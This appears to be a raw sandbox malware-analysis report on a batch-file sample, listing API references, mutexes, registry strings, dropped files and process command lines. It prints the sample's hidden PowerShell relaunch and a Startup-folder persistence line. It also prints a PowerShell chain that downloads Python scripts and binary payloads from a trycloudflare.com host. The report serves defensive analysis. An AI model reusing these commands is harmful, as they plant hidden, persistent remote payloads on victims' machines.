api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003540) "python.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003540) "python.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00003540) "python.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00003540) "python.exe" called "LoadLibrary" with a parameter %LOCALAPPDATA%\Programs\Python\Python311\python3 (UID: 00000000-00003540) "python.exe" called "LoadLibrary" with a parameter kernelbase.dll (UID: 00000000-00003540) "python.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00003540) "python.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00003540) "python.exe" called "LoadLibrary" with a parameter %LOCALAPPDATA%\xt\_ctypes.pyd (UID: 00000000-00003540)37:T20b8,Found reference to API (Indicator: "SeDebugPrivilege"; Source: "00000000-00003044.00000000.171357.31DD0000.00000004.mdmp") Found reference to API (Indicator: "InitializeConditionVariable"; Source: "00000000-00003044.00000001.171730.B94B2000.00000002.mdmp") Found reference to API (Indicator: "SleepConditionVariableCS"; Source: "00000000-00003044.00000001.171730.B94B2000.00000002.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; Source: "00000000-00003044.00000001.171730.B94B2000.00000002.mdmp") Found reference to API (Indicator: "EventRegister"; Source: "00000000-00003044.00000001.171730.B94B2000.00000002.mdmp") Found reference to API (Indicator: "EventUnregister"; Source: "00000000-00003044.00000001.171730.B94B2000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeExW"; Source: "00000000-00003044.00000001.171730.B94B2000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeW"; Source: "00000000-00003044.00000001.171730.B94B2000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoW"; Source: "00000000-00003044.00000001.171730.B94B2000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoExW"; Source: "00000000-00003044.00000001.171730.B94B2000.00000002.mdmp") Found reference to API (Indicator: "VerQueryValueW"; Source: "00000000-00003044.00000001.171730.B94B2000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimePreciseAsFileTime"; Source: "00000000-00003044.00000001.171730.B94B2000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00003044.00000001.171730.B94B2000.00000002.mdmp") Found reference to API (Indicator: "RaiseException"; Source: "00000000-00003044.00000001.171730.B94B2000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSection"; Source: "00000000-00003044.00000001.171730.B94B2000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00003044.00000001.171730.B94B2000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00003044.00000001.171730.B94B2000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00003044.00000001.171730.B94B2000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00003044.00000001.171730.B94B2000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00003044.00000001.171730.B94B2000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00003044.00000001.171730.B94B2000.00000002.mdmp") Found reference to API (Indicator: "GetProcessTimes"; Source: "00000000-00003044.00000001.171730.B94B2000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00003044.00000001.171730.B94B2000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00003044.00000001.171730.B94B2000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExW"; Source: "00000000-00003044.00000001.171730.B94B2000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00003044.00000001.171730.B94B2000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00003044.00000001.171730.B94B2000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00003044.00000001.171730.B94B2000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00003044.00000001.171730.B94B2000.00000002.mdmp") Found reference to API (Indicator: "RtlCaptureContext"; Source: "00000000-00003044.00000001.171730.B94B2000.00000002.mdmp") Found reference to API (Indicator: "RtlLookupFunctionEntry"; Source: "00000000-00003044.00000001.171730.B94B2000.00000002.mdmp") Found reference to API (Indicator: "RtlVirtualUnwind"; Source: "00000000-00003044.00000001.171730.B94B2000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00003044.00000001.171730.B94B2000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00003044.00000001.171730.B94B2000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00003044.00000001.171730.B94B2000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00003044.00000001.171730.B94B2000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00003044.00000001.171730.B94B2000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00003044.00000001.171730.B94B2000.00000002.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00003044.00000001.171730.B94B2000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemFree"; Source: "00000000-00003044.00000001.171730.B94B2000.00000002.mdmp") Found reference to API (Indicator: "StringFromGUID2"; Source: "00000000-00003044.00000001.171730.B94B2000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "00000000-00003044.00000001.171730.B94B2000.00000002.mdmp") Found reference to API (Indicator: "GetFileSizeEx"; Source: "00000000-00003044.00000001.171730.B94B2000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00003044.00000001.171730.B94B2000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00003044.00000001.171730.B94B2000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00003044.00000001.171730.B94B2000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathW"; Source: "00000000-00003044.00000001.171730.B94B2000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00003044.00000001.171730.B94B2000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesW"; Source: "00000000-00003044.00000001.171730.B94B2000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryW"; Source: "00000000-00003044.00000001.171730.B94B2000.00000002.mdmp") Found reference to API (Indicator: "CreateEventW"; Source: "00000000-00003044.00000001.171730.B94B2000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00003044.00000001.171730.B94B2000.00000002.mdmp") Found reference to API (Indicator: "DisableThreadLibraryCalls"; Source: "00000000-00003044.00000001.171730.B94B2000.00000002.mdmp") Found reference to API (Indicator: "EncodePointer"; Source: "00000000-00003044.00000001.171730.B94B2000.00000002.mdmp") Found reference to API (Indicator: "DecodePointer"; Source: "00000000-00003044.00000001.171730.B94B2000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00003044.00000001.171730.B94B2000.00000002.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "00000000-00003044.00000001.171730.B94B2000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemAlloc"; Source: "00000000-00003044.00000001.171730.B94B2000.00000002.mdmp") Found reference to API (Indicator: "SizeofResource"; Source: "00000000-00003044.00000001.171730.B94B2000.00000002.mdmp") Found reference to API (Indicator: "LockResource"; Source: "00000000-00003044.00000001.171730.B94B2000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00003044.00000001.171730.B94B2000.00000002.mdmp") Found reference to API (Indicator: "FindResourceW"; Source: "00000000-00003044.00000001.171730.B94B2000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00003044.00000001.171730.B94B2000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00003044.00000001.171730.B94B2000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00003044.00000001.171730.B94B2000.00000002.mdmp") Found reference to API (Indicator: "RtlGetVersion"; Source: "00000000-00003044.00000001.171730.B94B2000.00000002.mdmp") Found reference to API (Indicator: "RtlNtStatusToDosError"; Source: "00000000-00003044.00000001.171730.B94B2000.00000002.mdmp")38:T94b,file/memory contains long string with (Indicator: "Start-Process"; File: "2cab35576d40a8dd509ec54d0a6654597f2566f1e2fb0fa1635573c391c60a1d.bin") file/memory contains long string with (Indicator: "Start-Process"; File: "startup.bat") Found string "powershell -WindowStyle Hidden -Command "Start-Process -FilePath '%~f0' -ArgumentList 'h' -WindowStyle Hidden"" (Indicator: "Start-Process"; File: "2cab35576d40a8dd509ec54d0a6654597f2566f1e2fb0fa1635573c391c60a1d.bin") Found string "echo powershell -WindowStyle Hidden -Command "Start-Process -FilePath '%%~f0' -ArgumentList 'h' -WindowStyle Hidden" >> "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\startup.bat"" (Indicator: "Start-Process"; File: "2cab35576d40a8dd509ec54d0a6654597f2566f1e2fb0fa1635573c391c60a1d.bin") Found string "Start-Process -FilePath 'C:\2cab35576d40a8dd509ec54d0a6654597f2566f1e2fb0fa1635573c391c60a1d.bin.bat' -ArgumentList 'h' -WindowStyle Hidden" (Indicator: "Start-Process"; File: "AMSI") Found string "powershell -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\2cab35576d40a8dd509ec54d0a6654597f2566f1e2fb0fa1635573c391c60a1d.bin.bat' -ArgumentList 'h' -WindowStyle Hidden"" (Indicator: "Start-Process"; File: "powershell.exe") Found string "powershell -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\2cab35576d40a8dd509ec54d0a6654597f2566f1e2fb0fa1635573c391c60a1d.bin.bat' -ArgumentList 'h' -WindowStyle Hidden"" (Indicator: "Start-Process"; Source: "00000000-00003044.00000000.171357.31DD0000.00000004.mdmp, 00000000-00003044.00000001.171730.31DD0000.00000004.mdmp") Found string "Start-Process -FilePath 'C:\2cab35576d40a8dd509ec54d0a6654597f2566f1e2fb0fa1635573c391c60a1d.bin.bat' -ArgumentList 'h' -WindowStyle Hidden" (Indicator: "Start-Process"; Source: "00000000-00003044.00000000.171357.31DD0000.00000004.mdmp, 00000000-00003044.00000000.171357.320C0000.00000004.mdmp, 00000000-00003044.00000000.171357.337B0000.00000004.mdmp, 00000000-00003044.00000001.171730.31DD0000.00000004.mdmp, 00000000-00003044.00000001.171730.320C0000.00000004.mdmp") Found string "HostApplication=powershell -WindowStyle Hidden -Command Start-Process -FilePath 'C:\2cab35576d40a8dd509ec54d0a6654597f2566f1e2fb0fa1635573c391c60a1d.bin.bat' -ArgumentList 'h' -WindowStyle Hidden" (Indicator: "Start-Process"; Source: "00000000-00003044.00000001.171730.31DD0000.00000004.mdmp")39:Taf6,"5574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{0" in Source: 00000000-00003044.00000000.171357.31DD0000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00003044.00000000.171357.31DD0000.00000004.mdmp 00000000-00003044.00000001.171730.31DD0000.00000004.mdmp "y\Machine\Software\Classes\AppID\powershell.exe" in Source: 00000000-00003044.00000000.171357.31DD0000.00000004.mdmp 00000000-00003044.00000001.171730.31DD0000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00003044.00000001.171730.31DD0000.00000004.mdmp "-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{0" in Source: 00000000-00003044.00000001.171730.31DD0000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00003044.00000001.171730.4C0C0000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00003044.00000001.171730.4C0C0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}" in Source: 00000000-00003044.00000001.171730.4C0C0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}" in Source: 00000000-00003044.00000001.171730.4C0C0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}" in Source: 00000000-00003044.00000001.171730.4C0C0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{CDC82860-468D-4D4E-B7E7-C298FF23AB2C}" in Source: 00000000-00003044.00000001.171730.4C0C0000.00000004.mdmp "Registry\Machine\Software\Classes\Drive\shellex\FolderExtensions\{fbeb8a05-beee-4442-804e-409d6c4515e9}" in Source: 00000000-00003044.00000001.171730.4C7BE000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00003044.00000001.171730.4C7BE000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6" in Source: 00000000-00003044.00000001.171730.4C7BE000.00000004.mdmp "\Registry\Machine\Software\Classes\CLSID\{00000339-0000-0000" in Source: 00000000-00003044.00000001.171730.4C7BE000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000339-0000-0000-C000-0000000000" in Source: 00000000-00003044.00000001.171730.4C7BE000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\Cd" in Source: 00000000-00003044.00000001.171730.4C7BE000.00000004.mdmp "istry\Machine\Software\Classes\WOW6432Node\CLSID\{7" in Source: 00000000-00003044.00000001.171730.4C7BE000.00000004.mdmp3a:T908,Process cmd.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:2240:304:WilStaging_02" Process cmd.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:2240:304:WilStaging_02" Process cmd.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:2240:120:WilError_01" Process cmd.exe created mutex with name "Local\SM0:2240:304:WilStaging_02" Process cmd.exe created mutex with name "Local\SM0:2240:120:WilError_01" Process cmd.exe created mutex with name "SM0:2240:304:WilStaging_02" Process cmd.exe created mutex with name "SM0:2240:120:WilError_01" Process cmd.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:2240:120:WilError_01" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:3044:304:WilStaging_02" Process powershell.exe created mutex with name "Local\ZonesCacheCounterMutex" Process powershell.exe created mutex with name "Local\SM0:3044:304:WilStaging_02" Process powershell.exe created mutex with name "SM0:3044:304:WilStaging_02" Process powershell.exe created mutex with name "Local\SM0:3044:120:WilError_01" Process powershell.exe created mutex with name "Local\ZonesLockedCacheCounterMutex" Process powershell.exe created mutex with name "SM0:3044:120:WilError_01" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:3044:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:3044:120:WilError_01" Process powershell.exe created mutex with name "\BaseNamedObjects\SyncRootManager" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:3044:120:WilError_01" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesCacheCounterMutex" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesLockedCacheCounterMutex" Process cmd.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:3108:304:WilStaging_02" Process cmd.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:3108:304:WilStaging_02" Process cmd.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:3108:120:WilError_01" Process cmd.exe created mutex with name "Local\ZonesLockedCacheCounterMutex"3b:T9aa,Antivirus vendors marked dropped file "libcrypto-3.dll" as clean (type is "PE32+ executable for MS Windows 6.00 (DLL) x86-64 8 sections"), Antivirus vendors marked dropped file "sqlite3.dll" as clean (type is "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"), Antivirus vendors marked dropped file "libssl-3.dll" as clean (type is "PE32+ executable for MS Windows 6.00 (DLL) x86-64 8 sections"), Antivirus vendors marked dropped file "python.cat" as clean (type is "DER Encoded PKCS#7 Signed Data"), Antivirus vendors marked dropped file "vcruntime140.dll" as clean (type is "PE32+ executable for MS Windows 6.00 (DLL) x86-64 8 sections"), Antivirus vendors marked dropped file "python.exe" as clean (type is "PE32+ executable for MS Windows 6.00 (console) x86-64 6 sections"), Antivirus vendors marked dropped file "pythonw.exe" as clean (type is "PE32+ executable for MS Windows 6.00 (GUI) x86-64 6 sections"), Antivirus vendors marked dropped file "s1.bin" as clean (type is "DOS executable (COM) start instruction 0xb8e8cc2d 3e404abf"), Antivirus vendors marked dropped file "s2.bin" as clean (type is "data"), Antivirus vendors marked dropped file "python3.dll" as clean (type is "PE32+ executable for MS Windows 6.00 (DLL) x86-64 2 sections"), Antivirus vendors marked dropped file "urlref_httpsopposite-lodge-strict-closes.trycloudflare.comxtBB1.bin" as clean (type is "data"), Antivirus vendors marked dropped file "vcruntime140_1.dll" as clean (type is "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"), Antivirus vendors marked dropped file "startup.bat" as clean (type is "DOS batch file ASCII text with CRLF line terminators"), Antivirus vendors marked dropped file "unicodedata.pyd" as clean (type is "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"), Antivirus vendors marked dropped file "_zstd.pyd" as clean (type is "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"), Antivirus vendors marked dropped file "_decimal.pyd" as clean (type is "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"), Antivirus vendors marked dropped file "pyexpat.pyd" as clean (type is "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"), Antivirus vendors marked dropped file "_ssl.pyd" as clean (type is "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"), Antivirus vendors marked dropped file "_lzma.pyd" as clean (type is "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections")3c:T55d,Process "powershell.exe" with commandline "powershell -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\\2cab35576d40a8dd509ec54d0a6654597f2566f1e2fb0fa1635573c391c60a1d.bin.bat' -ArgumentList 'h' -WindowStyle Hidden"" (UID: 00000000-00003044) Process "powershell.exe" with commandline "powershell -Command "iwr 'https://www.python.org/ftp/python/3.14.0/python-3.14.0rc3-embed-amd64.zip' -OutFile '%TEMP%\\p.zip'; expand-archive '%TEMP%\\p.zip' '%LOCALAPPDATA%\\xt' -Force"" (UID: 00000000-00005872) Process "powershell.exe" with commandline "powershell -Command "iwr 'https://opposite-lodge-strict-closes.trycloudflare.com/xt/zmorf.py' -OutFile '%LOCALAPPDATA%\\xt/zmorf.py'; iwr 'https://opposite-lodge-strict-closes.trycloudflare.com/xt/BB1.bin' -OutFile '%LOCALAPPDATA%\\xt/BB1.bin'; iwr 'https://opposite-lodge-strict-closes.trycloudflare.com/xt/BB1.txt' -OutFile '%LOCALAPPDATA%\\xt/BB1.txt'; iwr 'https://opposite-lodge-strict-closes.trycloudflare.com/xt/s1.bin' -OutFile '%LOCALAPPDATA%\\xt/s1.bin'; iwr 'https://opposite-lodge-strict-closes.trycloudflare.com/xt/s1.txt' -OutFile '%LOCALAPPDATA%\\xt/s1.txt'; iwr 'https://opposite-lodge-strict-closes.trycloudflare.com/xt/s2.bin' -OutFile '%LOCALAPPDATA%\\xt/s2.bin'; iwr 'https://opposite-lodge-strict-closes.trycloudflare.com/xt/s2.txt' -OutFile '%LOCALAPPDATA%\\xt/s2.txt';" (UID: 00000000-00006572)3d:Teee,"powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winhttp.dll" - [base:0; Status:c0000135]3e:Tc32,"libcrypto-3.dll" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "sqlite3.dll" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "libssl-3.dll" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "vcruntime140.dll" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_GUARD_CF "python.exe" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "pythonw.exe" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "python3.dll" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "vcruntime140_1.dll" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_GUARD_CF "unicodedata.pyd" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "_zstd.pyd" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "_decimal.pyd" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "pyexpat.pyd" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "_ssl.pyd" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "_lzma.pyd" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "_ctypes.pyd" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "_elementtree.pyd" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "_sqlite3.pyd" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "_bz2.pyd" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "_socket.pyd" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "_asyncio.pyd" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT3f:T2a05,"5574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{0" in Source: 00000000-00003044.00000000.171357.31DD0000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00003044.00000000.171357.31DD0000.00000004.mdmp "y\Machine\Software\Classes\AppID\powershell.exe" in Source: 00000000-00003044.00000000.171357.31DD0000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00003044.00000001.171730.31DD0000.00000004.mdmp "-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{0" in Source: 00000000-00003044.00000001.171730.31DD0000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00003044.00000001.171730.31DD0000.00000004.mdmp 